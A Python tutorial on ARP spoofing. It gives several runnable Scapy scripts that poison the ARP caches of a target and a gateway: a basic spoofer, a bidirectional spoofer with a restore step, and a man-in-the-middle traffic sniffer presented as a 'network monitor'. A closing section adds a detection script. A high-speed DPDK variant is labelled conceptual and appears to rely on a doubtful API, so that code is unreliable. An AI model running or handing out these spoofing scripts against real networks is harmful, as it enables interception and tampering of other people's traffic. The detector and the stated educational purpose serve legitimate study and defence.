Python for Arp Spoofing Attacks

⚠️
This article is for educational purposes only. Unauthorized ARP spoofing attacks are illegal and unethical. Always obtain proper authorization before testing these techniques on any network.

Understanding ARP Spoofing

ARP (Address Resolution Protocol) spoofing is a technique used in network attacks to intercept, modify, or stop data in-transit. It exploits the lack of authentication in the ARP protocol, allowing an attacker to send falsified ARP messages on a local network. This associates the attacker’s MAC address with the IP address of a legitimate network device, enabling the interception, modification, or blocking of communications to the target IP address.

To visualize the ARP spoofing process:

sequenceDiagram
    participant Attacker
    participant Target
    participant Gateway
    Attacker->>Target: Fake ARP Reply (I am the Gateway)
    Attacker->>Gateway: Fake ARP Reply (I am the Target)
    Target->>Attacker: Traffic intended for Gateway
    Attacker->>Gateway: Forwarded Traffic
    Gateway->>Attacker: Response Traffic
    Attacker->>Target: Forwarded Response

Prerequisites

Before we begin, ensure you have the following:

  1. Python 3.x installed
  2. Scapy library (pip install scapy)
  3. Root/Administrator privileges

Basic ARP Spoofing Script

Let’s start with a simple ARP spoofing script using modern Python practices:

arp_spoof_basic.py
from scapy.all import ARP, send
import asyncio

async def arp_spoof(target_ip: str, gateway_ip: str):
    arp_response = ARP(pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway_ip, op='is-at')
    send(arp_response, verbose=False)
    print(f"Sent ARP packet to {target_ip}")

async def main(target_ip: str, gateway_ip: str):
    try:
        while True:
            await arp_spoof(target_ip, gateway_ip)
            await asyncio.sleep(2)
    except asyncio.CancelledError:
        print("\nARP spoofing stopped")

if __name__ == "__main__":
    import sys
    target_ip = sys.argv[1]
    gateway_ip = sys.argv[2]
    asyncio.run(main(target_ip, gateway_ip))

This script uses asyncio for better performance and modern Python async/await syntax.

Bidirectional ARP Spoofing

Here’s an enhanced version that performs bidirectional ARP spoofing:

arp_spoof_bidirectional.py
from scapy.all import ARP, Ether, srp, send
import asyncio

async def get_mac(ip: str) -> str:
    arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
    result = srp(arp_request, timeout=3, verbose=False)[0]
    return result[0][1].hwsrc

async def spoof(target_ip: str, spoof_ip: str):
    target_mac = await get_mac(target_ip)
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)

async def restore(destination_ip: str, source_ip: str):
    destination_mac = await get_mac(destination_ip)
    source_mac = await get_mac(source_ip)
    packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    send(packet, count=4, verbose=False)

async def main(target_ip: str, gateway_ip: str):
    packets_sent = 0
    try:
        while True:
            await spoof(target_ip, gateway_ip)
            await spoof(gateway_ip, target_ip)
            packets_sent += 2
            print(f"\r[*] Packets sent: {packets_sent}", end="")
            await asyncio.sleep(2)
    except asyncio.CancelledError:
        print("\n[*] Detected cancellation. Resetting ARP tables. Please wait.")
        await restore(target_ip, gateway_ip)
        await restore(gateway_ip, target_ip)

if __name__ == "__main__":
    import sys
    target_ip = sys.argv[1]
    gateway_ip = sys.argv[2]
    asyncio.run(main(target_ip, gateway_ip))

Real-life Example: Network Traffic Monitor

Here’s a practical example of using ARP spoofing for network monitoring in a controlled environment:

network_monitor.py
from scapy.all import ARP, IP, TCP, UDP, Ether, srp, sniff, send
import asyncio
from collections import defaultdict
import time

class NetworkMonitor:
    def __init__(self, target_ip: str, gateway_ip: str):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.target_mac = None
        self.gateway_mac = None
        self.traffic_stats = defaultdict(lambda: {'bytes': 0, 'packets': 0})

    async def setup(self):
        self.target_mac = await self.get_mac(self.target_ip)
        self.gateway_mac = await self.get_mac(self.gateway_ip)

    async def get_mac(self, ip: str) -> str:
        arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
        result = srp(arp_request, timeout=3, verbose=False)[0]
        return result[0][1].hwsrc

    async def spoof(self):
        target_packet = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac, psrc=self.gateway_ip)
        gateway_packet = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, psrc=self.target_ip)
        send(target_packet, verbose=False)
        send(gateway_packet, verbose=False)

    def packet_callback(self, packet):
        if IP in packet:
            src_ip = packet[IP].src
            dst_ip = packet[IP].dst
            protocol = packet[IP].proto
            length = len(packet)

            if src_ip == self.target_ip or dst_ip == self.target_ip:
                key = f"{src_ip} -> {dst_ip} ({protocol})"
                self.traffic_stats[key]['bytes'] += length
                self.traffic_stats[key]['packets'] += 1

    async def print_stats(self):
        while True:
            print("\n--- Traffic Statistics ---")
            for connection, stats in self.traffic_stats.items():
                print(f"{connection}: {stats['bytes']} bytes, {stats['packets']} packets")
            await asyncio.sleep(10)

    async def run(self):
        await self.setup()
        spoofing_task = asyncio.create_task(self.spoof_loop())
        stats_task = asyncio.create_task(self.print_stats())
        sniff_task = asyncio.get_event_loop().run_in_executor(None, sniff, {'prn': self.packet_callback, 'store': 0})

        try:
            await asyncio.gather(spoofing_task, stats_task, sniff_task)
        except asyncio.CancelledError:
            print("\nStopping network monitor...")

    async def spoof_loop(self):
        while True:
            await self.spoof()
            await asyncio.sleep(2)

async def main():
    target_ip = "192.168.1.100"  # Replace with actual target IP
    gateway_ip = "192.168.1.1"   # Replace with actual gateway IP
    monitor = NetworkMonitor(target_ip, gateway_ip)
    await monitor.run()

if __name__ == "__main__":
    asyncio.run(main())

This script demonstrates a more complex use case of ARP spoofing for network monitoring. It captures traffic statistics for the target IP and provides periodic reports. Here’s a breakdown of its functionality:

  1. The NetworkMonitor class initializes with target and gateway IP addresses.
  2. The setup method determines the MAC addresses for the target and gateway.
  3. The spoof method sends ARP packets to redirect traffic through the monitoring device.
  4. The packet_callback function analyzes each packet and updates traffic statistics.
  5. The print_stats method periodically displays the collected statistics.
  6. The run method ties everything together, running the spoofing, statistics printing, and packet sniffing concurrently using asyncio.

This example showcases how ARP spoofing can be used for network analysis and monitoring in a controlled environment. It’s important to note that such techniques should only be used with proper authorization and in compliance with all applicable laws and regulations.

Advanced Techniques

Hardware-Accelerated Packet Processing

For improved performance, especially on systems with compatible hardware, we can use DPDK (Data Plane Development Kit) for faster packet processing. Here’s a conceptual example (note that DPDK setup is complex and system-dependent):

high_performance_arp_spoof.py
from scapy.all import ARP, Ether, IP
from pypacker import dpdk

class ARPSpoofer:
    def __init__(self, target_ip, gateway_ip):
        self.target_ip = target_ip
        self.gateway_ip = gateway_ip
        self.dpdk_port = 0  # Assuming first DPDK-compatible port

    def initialize_dpdk(self):
        dpdk.init()
        dpdk.create_mempool()
        dpdk.port_init(self.dpdk_port)

    def craft_arp_packet(self, dst_ip, src_ip):
        return Ether()/ARP(op=2, pdst=dst_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=src_ip)

    def send_packet(self, packet):
        dpdk_packet = dpdk.Packet()
        dpdk_packet.buf = bytes(packet)
        dpdk.tx_burst(self.dpdk_port, [dpdk_packet])

    def run(self):
        self.initialize_dpdk()
        target_packet = self.craft_arp_packet(self.target_ip, self.gateway_ip)
        gateway_packet = self.craft_arp_packet(self.gateway_ip, self.target_ip)

        while True:
            self.send_packet(target_packet)
            self.send_packet(gateway_packet)
            dpdk.delay_us(2000000)  # 2 second delay

if __name__ == "__main__":
    spoofer = ARPSpoofer("192.168.1.100", "192.168.1.1")
    spoofer.run()

This example uses DPDK for high-performance packet processing, which can significantly increase the speed of packet generation and transmission.

Detecting and Preventing ARP Spoofing

Here’s an enhanced ARP spoofing detection script that uses modern Python features and efficient data structures:

arp_spoof_detector.py
from scapy.all import sniff, ARP
from collections import defaultdict
import asyncio
import time

class ARPSpoofDetector:
    def __init__(self):
        self.ip_mac_map = defaultdict(set)
        self.last_check = time.time()
        self.alert_threshold = 2  # Number of MACs per IP to trigger alert

    def process_packet(self, packet):
        if ARP in packet and packet[ARP].op == 2:  # is-at (response)
            ip = packet[ARP].psrc
            mac = packet[ARP].hwsrc
            self.ip_mac_map[ip].add(mac)

            if len(self.ip_mac_map[ip]) >= self.alert_threshold:
                print(f"[!] Possible ARP spoofing detected for IP: {ip}")
                print(f"    Associated MACs: {', '.join(self.ip_mac_map[ip])}")

    async def print_ip_mac_map(self):
        while True:
            print("\n[*] Current IP-MAC Mappings:")
            for ip, macs in self.ip_mac_map.items():
                print(f"    {ip} -> {', '.join(macs)}")
            await asyncio.sleep(60)

    async def run(self):
        print_task = asyncio.create_task(self.print_ip_mac_map())
        sniff_task = asyncio.get_event_loop().run_in_executor(
            None, sniff, {'prn': self.process_packet, 'filter': "arp", 'store': 0}
        )
        await asyncio.gather(print_task, sniff_task)

async def main():
    detector = ARPSpoofDetector()
    await detector.run()

if __name__ == "__main__":
    asyncio.run(main())

This script uses a defaultdict to efficiently track multiple MAC addresses per IP, potentially indicating ARP spoofing attempts. It also utilizes asyncio for concurrent execution of packet sniffing and periodic reporting.

Conclusion

ARP spoofing remains a powerful technique in network security, with applications in both offensive and defensive scenarios. The examples provided demonstrate how modern Python features and libraries can be leveraged to implement efficient and effective ARP spoofing and detection mechanisms.

For further reading on advanced network security techniques and research related to ARP spoofing, consider the following resources:

  1. A Survey of ARP Spoofing Detection and Prevention Techniques
  2. IEEE Paper on ARP Spoofing Detection

Remember, the ethical use of these techniques is crucial. Always ensure you have proper authorization before implementing any network manipulation or monitoring tools in a production environment.